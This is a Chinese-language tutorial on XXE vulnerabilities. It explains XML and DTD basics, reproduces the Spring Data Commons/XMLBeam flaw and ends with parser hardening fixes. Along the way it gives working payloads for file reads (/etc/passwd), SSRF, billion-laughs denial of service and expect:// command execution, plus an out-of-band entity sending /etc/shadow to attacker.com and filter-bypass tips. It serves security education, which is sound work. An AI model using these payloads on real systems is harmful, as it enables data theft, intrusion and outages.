XXE萌新进阶全攻略
字数 998 2025-08-18 11:37:53
XXE漏洞全面解析与实战指南
1. XML与DTD基础概念
1.1 XML简介
XML(eXtensible Markup Language)是一种用于传输和存储数据的标记语言,与HTML不同:
- HTML用于显示数据,关注数据外观
- XML用于传输和存储数据,关注数据内容
1.2 DTD(文档类型定义)
DTD定义了XML文档的合法构建模块,有两种声明方式:
内部DTD
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY xxe "test">
]>
外部DTD
<!DOCTYPE root SYSTEM "external.dtd">
2. XXE漏洞原理
2.1 XXE类型
- XML Entity Expansion Injection(XML实体扩展注入)
- XML External Entity Injection(XML外部实体注入)
2.2 漏洞产生条件
- 解析器支持DTD
- 用户输入被拼接到XML中并被解析
3. XXE漏洞复现(以Spring Data Commons为例)
3.1 漏洞环境
- Spring Data Commons 1.13-1.13.11或2.0-2.0.6
- XMLBeam 1.4.14或更早版本
3.2 漏洞代码示例
public interface UserPayload {
@XBRead("//firstname")
@JsonPath("$..firstname")
String getFirstname();
@XBRead("//lastname")
@JsonPath("$..lastname")
String getLastname();
}
3.3 基础Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<user>
<firstname>&xxe;</firstname>
<lastname>666</lastname>
</user>
4. XXE漏洞利用方式
4.1 任意文件读取
<!ENTITY xxe SYSTEM "file:///etc/passwd">
4.2 SSRF(服务器端请求伪造)
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
4.3 拒绝服务攻击
实体扩展攻击
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
...
]>
<lolz>&lol9;</lolz>
UNIX系统攻击
<!ENTITY xxe SYSTEM "file:///dev/random">
4.4 远程命令执行(特定环境)
当PHP expect模块被加载时可能实现:
<!ENTITY xxe SYSTEM "expect://id">
5. 无回显XXE(OOB攻击)
5.1 原理
当数据无法直接回显时,通过外带数据方式获取信息
5.2 工具推荐
xxeserve(基于Ruby的工具):
https://github.com/joernchen/xxeserve
5.3 示例Payload
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/xml?f=/etc/shadow">
%remote;
%int;
%trick;
]>
6. 漏洞修复方案
6.1 禁用外部实体
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
6.2 完全禁用DTD
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
6.3 XMLBeam修复方案
1.4.15版本新增配置:
instance.setXIncludeAware(this.isXIncludeAware);
instance.setExpandEntityReferences(this.isExpandEntityReferences);
7. 实战技巧
7.1 常见攻击面
- XML文件上传
- XML格式的API请求
- SOAP协议接口
- Office文档(DOCX等)
7.2 绕过技巧
- 使用UTF-16编码绕过过滤器
- 使用CDATA包裹恶意内容
- 尝试不同的协议(如php://filter)
7.3 检测方法
- 提交测试Payload观察响应
- 使用DNS查询检测OOB通道
- 监控服务器资源使用情况
8. 总结
XXE漏洞危害严重,可导致:
- 敏感信息泄露
- 内网探测
- 拒绝服务
- 特定环境下命令执行
防御关键在于:
- 禁用不必要的DTD功能
- 严格过滤用户输入
- 使用安全的XML解析器配置